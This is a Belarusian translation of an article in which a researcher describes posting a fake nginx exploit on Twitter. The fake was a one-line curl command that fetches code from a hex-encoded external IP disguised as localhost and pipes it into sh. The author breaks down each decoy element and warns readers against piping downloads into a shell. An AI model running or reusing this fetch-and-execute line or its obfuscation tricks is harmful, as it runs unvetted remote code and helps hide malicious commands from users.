Поспех сацыяльнага эксперыменту з падробленым эксплойтам для nginx

Заўв. перав.: Аўтар арыгінальнай нататкі, апублікаванай 1 чэрвеня, вырашыў правесці эксперымент у асяроддзі якія цікавяцца інфармацыйнай бяспекай. Для гэтага ён падрыхтаваў падроблены эксплойт да нераскрытай уразлівасці ў вэб-серверы і размясціў яго ў сваім твітары. Яго здагадкі - быць імгненна выкрытым спецыялістамі, якія ўбачаць відавочны падман у кодзе, - не проста не апраўдаліся ... Яны перасягнулі ўсе чаканні, прычым у адваротны бок: твіт атрымаў велізарную падтрымку ад шматлікіх людзей, якія не сталі правяраць яго змесціва.

Поспех сацыяльнага эксперыменту з падробленым эксплойтам для nginx

TL;DR: ні ў якім разе не выкарыстоўвайце канвеерызацыю файлаў у sh або bash. Гэта выдатны спосаб страціць кантроль над кампутарам.

Жадаю падзяліцца з вамі невялікай гісторыяй аб жартоўным PoC-эксплойце, які быў створаны 31 траўня. Ён з'явіўся аператыўна ў адказ на навіну ад Alisa Esage Шаўчэнка, члена Нулявая ініцыятыва (ZDI), аб тым, што хутка будзе расчынена інфармацыя аб уразлівасці ў NGINX, якая прыводзіць да RCE (выдаленаму выкананню кода). Паколькі NGINX ляжыць у аснове шматлікіх вэб-сайтаў, навіна павінна была вырабіць эфект разарванай бомбы. Але з-за затрымак падчас "адказнага раскрыцця" інфармацыі падрабязнасці здарэння не былі вядомыя - такая стандартная працэдура ZDI.

Поспех сацыяльнага эксперыменту з падробленым эксплойтам для nginx
Твіт аб раскрыцці ўразлівасці ў NGINX

Скончыўшы працу над новай тэхнікай абфускацыі ў curl, я працытаваў арыгінальны твіт і "зліў працоўны PoC", які складаецца з аднаго радка кода, нібы выкарыстоўвалай выяўленую ўразлівасць. Вядома, гэта было поўнае глупства. Я лічыў, што мяне адразу выведуць на чыстую ваду, і што ў лепшым выпадку я атрымаю пару рэтвітаў (ну і добра).

Поспех сацыяльнага эксперыменту з падробленым эксплойтам для nginx
Твіт з падробленым эксплойтам

Аднак я не мог уявіць сабе таго, што адбылося далей. Папулярнасць майго твіту ўзляцела да нябёсаў. Дзіўна, але на дадзены момант (15:00 МСК 1 чэрвеня) да гэтага часу мала хто ўсвядоміў, што гэта фальшыўка. Многія ретвитят яго наогул без праверкі (не кажучы ўжо пра тое, каб палюбавацца цудоўнай ASCII-графікай, якую ён выводзіць).

Поспех сацыяльнага эксперыменту з падробленым эксплойтам для nginx
Толькі паглядзіце, якая прыгажосць!

Хоць усе гэтыя цыклы і колеры выдатныя, зразумелая справа: каб іх убачыць, людзі выконвалі код на сваёй машыне. На шчасце, браўзэры працуюць аналагічна, і ў спалучэнні з фактам, што праблемы з законам мне зусім не патрэбныя, код, схаваны ў маім сайце, усяго толькі рабіў выклікі echo, не спрабуючы ўсталёўваць ці выконваць які б там ні было дадатковы код.

Невялікі адступ: netspooky, днз, я і іншыя хлопцы з каманды Thugcrowd ужо некаторы час гуляем з рознымі спосабамі абфускацыі curl-каманд, таму што гэта прышпільна… і мы гікі. netspooky і dnz выявілі некалькі новых спосабаў, якія здаліся мне надзвычай перспектыўнымі. Я далучыўся да весялосці і паспрабаваў дадаць IP-дзесятковыя пераўтварэнні да набору выкрутаў. Аказалася, што IP таксама можна канвертаваць у шаснаццатковы фармат. Больш таго, curl і большасць іншых NIX-інструментаў з задавальненнем "едуць" шаснаццатковыя IP! Такім чынам, патрабавалася проста стварыць пераканаўчы і бяспечна які выглядае камандны радок. У канчатковым выніку я спыніўся на гэтай:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Сацыя-электронная інжынерыя (SEE) - больш, чым проста фішынг

Бяспека і звыкласць былі асноўнай часткай гэтага эксперыменту. Думаю, менавіта яны прывялі да яго посьпеху. Камандны радок відавочна меў на ўвазе бяспеку, спасылаючыся на «127.0.0.1» (усім вядомы localhost). Лічыцца, што localhost у бясьпецы, а дадзеныя на ім ніколі не пакідаюць ваш кампутар.

Звыкласць была другім ключавым SEE-кампанентам эксперымента. Паколькі мэтавая аўдыторыя пераважна складалася з людзей, знаёмых з асновамі кампутарнай бяспекі, важна было стварыць такі код, каб яго часткі здаваліся знаёмымі і звыклымі (а таму бяспечнымі). Запазычанне элементаў старых эксплойт-канцэпцый і іх камбінаванне незвычайным спосабам аказалася вельмі паспяховым.

Ніжэй прыведзены падрабязны разбор аднарадкоўніка. Усё ў гэтым спісе носіць касметычны характар, А для яго рэальнай працы практычна нічога не патрабуецца.

Якія ж кампаненты сапраўды неабходны? Гэта -gsS, -O 0x0238f06a, |sh і сам вэб-сервер. Вэб-сервер не змяшчаў ніякіх зламысных інструкцый, а проста перадаваў ASCII-графіку з дапамогай каманд echo у скрыпце, які змяшчаецца ў index.html. Калі карыстач уводзіў радок з |sh пасярэдзіне, index.html загружаўся і выконваўся. На шчасце, захавальнікі вэб-сервера не мелі злых намераў.

  • ../../../%00 - Маляе выхад за межы дырэкторыі;
  • ngx_stream_module.so - шлях да выпадковага модулю NGINX;
  • /bin/sh%00<'protocol:TCP' - мы нібы запускаем /bin/sh на мэтавай машыне і перанакіроўваем выснову ў TCP-канал;
  • -O 0x0238f06a#PLToffset - сакрэтны інгрэдыент, дапоўнены #PLToffset, Каб выглядаць як зрушэнне памяці, нейкім чынам якое змяшчаецца ў PLT;
  • |sh; - Яшчэ адзін важны фрагмент. Нам было трэба перанакіраваць выснову ў sh/bash, каб выканаць код, які паступае з атакавалага вэб-сервера, размешчанага па адрасе 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - пустышка, у якой netcat спасылаецца на /dev/tcp/localhost, Каб усё зноў выглядала бяспечна. На самой жа справе, нічога не робіць і ўключаны ў радок для прыгажосці.

На гэтым сканчаюцца расшыфроўка аднарадковага скрыпту і абмеркаванне аспектаў "сацыя-электроннай інжынерыі" (вычварнага фішынгу).

Канфігурацыя вэб-сервера і меры процідзеяння

Паколькі пераважная большасць маіх падпісчыкаў — інфабяспечнікі/хакеры, я вырашыў зрабіць вэб-сервер крыху больш устойлівым да праяў «інтарэсу» з іх боку проста для таго, каб хлопцам было чым заняцца (ды і настройваць яго было прыкольна). Я не збіраюся тут пералічваць усе пасткі, паколькі эксперымент усё яшчэ працягваецца, але вось некалькі рэчаў, якія сервер робіць:

  • Актыўна адсочвае спробы распаўсюджвання ў пэўных сацыяльных сетках і падстаўляе розныя мініяцюры прадпрагляду, каб заахвоціць карыстальніка перайсці па спасылцы.
  • Перанакіроўвае Chrome/Mozilla/Safari/і т. д. на прома-ролік Thugcrowd замест таго, каб паказаць скрыпт shell.
  • Сочыць за відавочнымі прыкметамі ўварвання/грубага ўзлому, пасля чаго пачынае перанакіроўваць запыты на серверы АНБ (ха!).
  • Усталёўвае траян, а таксама BIOS rootkit на ўсе кампутары, карыстачы якіх наведваюць хост з звычайнага браўзэра (жарт!).

Поспех сацыяльнага эксперыменту з падробленым эксплойтам для nginx
Невялікая частка антымер

У дадзеным выпадку маёй адзінай мэтай было засваенне некаторых магчымасцяў Apache - у прыватнасці, клёвых правілаў перанакіравання запытаў, - і я падумаў: а чаму б і не?

Эксплойт NGINX (сапраўдны!)

падпісвайцеся на @alisaesage у Твітары і сочыце за выдатнай працай ZDI па ўхіленні суцэль рэальных уразлівасцяў і магчымасцяў для эксплойтаў у NGINX. Іх праца заўсёды заварожвала мяне і я ўдзячны Алісе за цярпенне, звязанае з усімі згадкамі і апавяшчэннямі, выкліканымі маім дурным твітам. На шчасце, ён прынёс і некаторую карысць: дапамог павысіць дасведчанасць аб уразлівасцях NGINX, а таксама аб праблемах, выкліканых злоўжываннем curl'ам.

Крыніца: habr.com

Дадаць каментар